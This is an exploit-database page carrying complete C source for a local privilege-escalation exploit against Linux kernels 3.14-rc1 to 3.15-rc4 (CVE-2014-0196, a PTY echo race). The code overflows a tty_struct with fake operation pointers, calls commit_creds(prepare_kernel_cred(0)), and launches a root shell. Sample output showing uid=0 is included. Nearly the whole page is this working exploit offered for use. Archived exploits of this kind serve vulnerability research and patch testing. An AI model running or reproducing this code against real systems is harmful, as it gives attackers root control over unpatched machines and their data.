Lucene search

K
seebugRootSSV:86729
HistoryJul 01, 2014 - 12:00 a.m.

Linux kernel 3.14-rc1 <= 3.15-rc4 - Raw Mode PTY Local Echo Race Condition (x64) Local Privilege Escalation

2014-07-0100:00:00
Root
www.seebug.org
25

0.019 Low

EPSS

Percentile

87.3%

No description provided by source.


                                                /*
 * CVE-2014-0196: Linux kernel &#60;= v3.15-rc4: raw mode PTY local echo race
 * condition
 *
 * Slightly-less-than-POC privilege escalation exploit
 * For kernels &#62;= v3.14-rc1
 *
 * Matthew Daley &#60;[email protected]&#62;
 *
 * Usage: 
 *   $ gcc cve-2014-0196-md.c -lutil -lpthread
 *   $ ./a.out
 *   [+] Resolving symbols
 *   [+] Resolved commit_creds: 0xffffffff81056694
 *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
 *   [+] Doing once-off allocations
 *   [+] Attempting to overflow into a tty_struct...............
 *   [+] Got it :)
 *   # id
 *   uid=0(root) gid=0(root) groups=0(root)
 *
 * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
 * chance that the overflow will go off the end of a slab. This does not
 * necessarily lead to an immediate kernel crash, but you should be prepared
 * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
 * avoidable by reading /proc/slabinfo on systems where it is still available
 * to unprivileged users.
 *
 * Caveat: The vulnerability should be exploitable all the way from
 * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
 * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 (&#34;tty: Halve flip buffer
 * GFP_ATOMIC memory consumption&#34;) that make exploitation simpler, which this
 * exploit relies on.
 *
 * Thanks to Jon Oberheide for his help on exploitation technique.
 */

#include &#60;sys/stat.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;pthread.h&#62;
#include &#60;pty.h&#62;
#include &#60;stdio.h&#62;
#include &#60;string.h&#62;
#include &#60;termios.h&#62;
#include &#60;unistd.h&#62;

#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS    30

struct device;
struct tty_driver;
struct tty_operations;

typedef struct {
	int counter;
} atomic_t;

struct kref {
	atomic_t refcount;
};

struct tty_struct_header {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
} overwrite;

typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);

int master_fd, slave_fd;
char buf[1024] = {0};
commit_creds_fn commit_creds;
prepare_kernel_cred_fn prepare_kernel_cred;

int payload(void) {
	commit_creds(prepare_kernel_cred(0));

	return 0;
}

unsigned long get_symbol(char *target_name) {
	FILE *f;
	unsigned long addr;
	char dummy;
	char name[256];
	int ret = 0;

	f = fopen(&#34;/proc/kallsyms&#34;, &#34;r&#34;);
	if (f == NULL)
		return 0;

	while (ret != EOF) {
		ret = fscanf(f, &#34;%p %c %s\n&#34;, (void **)&addr, &dummy, name);
		if (ret == 0) {
			fscanf(f, &#34;%s\n&#34;, name);
			continue;
		}

		if (!strcmp(name, target_name)) {
			printf(&#34;[+] Resolved %s: %p\n&#34;, target_name, (void *)addr);

			fclose(f);
			return addr;
		}
	}

	printf(&#34;[-] Couldn&#39;t resolve \&#34;%s\&#34;\n&#34;, name);

	fclose(f);
	return 0;
}

void *overwrite_thread_fn(void *p) {
	write(slave_fd, buf, 511);

	write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
	write(slave_fd, &overwrite, sizeof(overwrite));
}

int main() {
	char scratch[1024] = {0};
	void *tty_operations[64];
	int i, temp_fd_1, temp_fd_2;

	for (i = 0; i &#60; 64; ++i)
		tty_operations[i] = payload;

	overwrite.magic                 = TTY_MAGIC;
	overwrite.kref.refcount.counter = 0x1337;
	overwrite.dev                   = (struct device *)scratch;
	overwrite.driver                = (struct tty_driver *)scratch;
	overwrite.ops                   = (struct tty_operations *)tty_operations;

	puts(&#34;[+] Resolving symbols&#34;);

	commit_creds = (commit_creds_fn)get_symbol(&#34;commit_creds&#34;);
	prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol(&#34;prepare_kernel_cred&#34;);
	if (!commit_creds || !prepare_kernel_cred)
		return 1;

	puts(&#34;[+] Doing once-off allocations&#34;);

	for (i = 0; i &#60; ONEOFF_ALLOCS; ++i)
		if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
			puts(&#34;[-] pty creation failed&#34;);
			return 1;
		}

	printf(&#34;[+] Attempting to overflow into a tty_struct...&#34;);
	fflush(stdout);

	for (i = 0; ; ++i) {
		struct termios t;
		int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
		pthread_t overwrite_thread;

		if (!(i & 0xfff)) {
			putchar(&#39;.&#39;);
			fflush(stdout);
		}

		if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
			puts(&#34;\n[-] pty creation failed&#34;);
			return 1;
		}

		for (j = 0; j &#60; RUN_ALLOCS; ++j)
			if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
				puts(&#34;\n[-] pty creation failed&#34;);
				return 1;
			}

		close(fds[RUN_ALLOCS / 2]);
		close(fds2[RUN_ALLOCS / 2]);

		write(slave_fd, buf, 1);

		tcgetattr(master_fd, &t);
		t.c_oflag &= ~OPOST;
		t.c_lflag |= ECHO;
		tcsetattr(master_fd, TCSANOW, &t);

		if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
			puts(&#34;\n[-] Overwrite thread creation failed&#34;);
			return 1;
		}
		write(master_fd, &#34;A&#34;, 1);
		pthread_join(overwrite_thread, NULL);

		for (j = 0; j &#60; RUN_ALLOCS; ++j) {
			if (j == RUN_ALLOCS / 2)
				continue;

			ioctl(fds[j], 0xdeadbeef);
			ioctl(fds2[j], 0xdeadbeef);

			close(fds[j]);
			close(fds2[j]);
		}

		ioctl(master_fd, 0xdeadbeef);
		ioctl(slave_fd, 0xdeadbeef);

		close(master_fd);
		close(slave_fd);

		if (!setresuid(0, 0, 0)) {
			setresgid(0, 0, 0);

			puts(&#34;\n[+] Got it :)&#34;);
			execl(&#34;/bin/bash&#34;, &#34;/bin/bash&#34;, NULL);
		}
	}
}